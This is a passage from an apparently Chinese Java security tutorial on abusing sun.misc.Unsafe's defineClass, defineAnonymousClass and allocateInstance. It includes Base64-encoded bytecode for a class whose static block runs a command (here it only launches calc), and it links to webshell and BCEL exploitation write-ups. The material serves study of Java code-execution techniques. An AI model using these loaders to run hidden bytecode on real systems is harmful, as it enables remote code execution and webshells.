public native Class<?> defineAnonymousClass(Class<?> var1, byte[] var2, Object[] var3); // 可以加载字节码
public native Object allocateInstance(Class<?> var1) throws InstantiationException; // 实例化任意类
defineClass 案例
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
byte[] poc = new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
/*
该 Base64 值是如下类的字节码 Base64 后的值
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} */
Class<?> evilClazz = o.defineClass("CMD", poc, 0, poc.length, ClassLoader.getSystemClassLoader(),
new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, ClassLoader.getSystemClassLoader(), null
));
System.out.println(evilClazz); // class CMD
evilClazz.newInstance();
}
}
运行完毕后, 将弹出计算器.Java 11开始Unsafe类已经把defineClass方法移除了(defineAnonymousClass方法还在).
defineAnonymousClass 案例
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
byte[] poc = new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMQ01EOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIQ01ELmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANDTUQBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAgADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAsACQAOAAwADAANAA0AFgAPAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
/*
该 Base64 值是如下类的字节码 Base64 后的值
public class CMD {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
} */
Class<?> evilClazz = o.defineAnonymousClass(Class.class, poc, null);
System.out.println(evilClazz); // class CMD/356573597
evilClazz.newInstance();
}
}
运行弹出计算器.
allocateInstance 案例
定义如下类:
public class Cat {
private Cat(){}
}
测试程序:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
Cat cat = (Cat) o.allocateInstance(Cat.class);
System.out.println(cat); // com.heihu577.Cat@1540e19d
}
}
最终可以实例化Cat类.
Reference
一看你就懂,超详细java中的ClassLoader详解: https://blog.csdn.net/briblue/article/details/54973413
看不懂, 请吃饭 (视频资源): https://www.bilibili.com/video/BV1Gh411v7fv
冰蝎 WebShell 管理工具分析: https://blog.csdn.net/Dokii_i/article/details/135621218
流量特征: https://www.cnblogs.com/-andrea/p/17473499.html
BCEL ClassLoader: https://www.cnblogs.com/CoLo/p/15869871.html
BCEL 调试: https://blog.csdn.net/xd_2021/article/details/121878806
BCEL CTF题目: https://www.jianshu.com/p/0e5e821f5c29
Z3专栏 | Java代码审计之类加载的利用: https://www.freebuf.com/articles/web/317624.html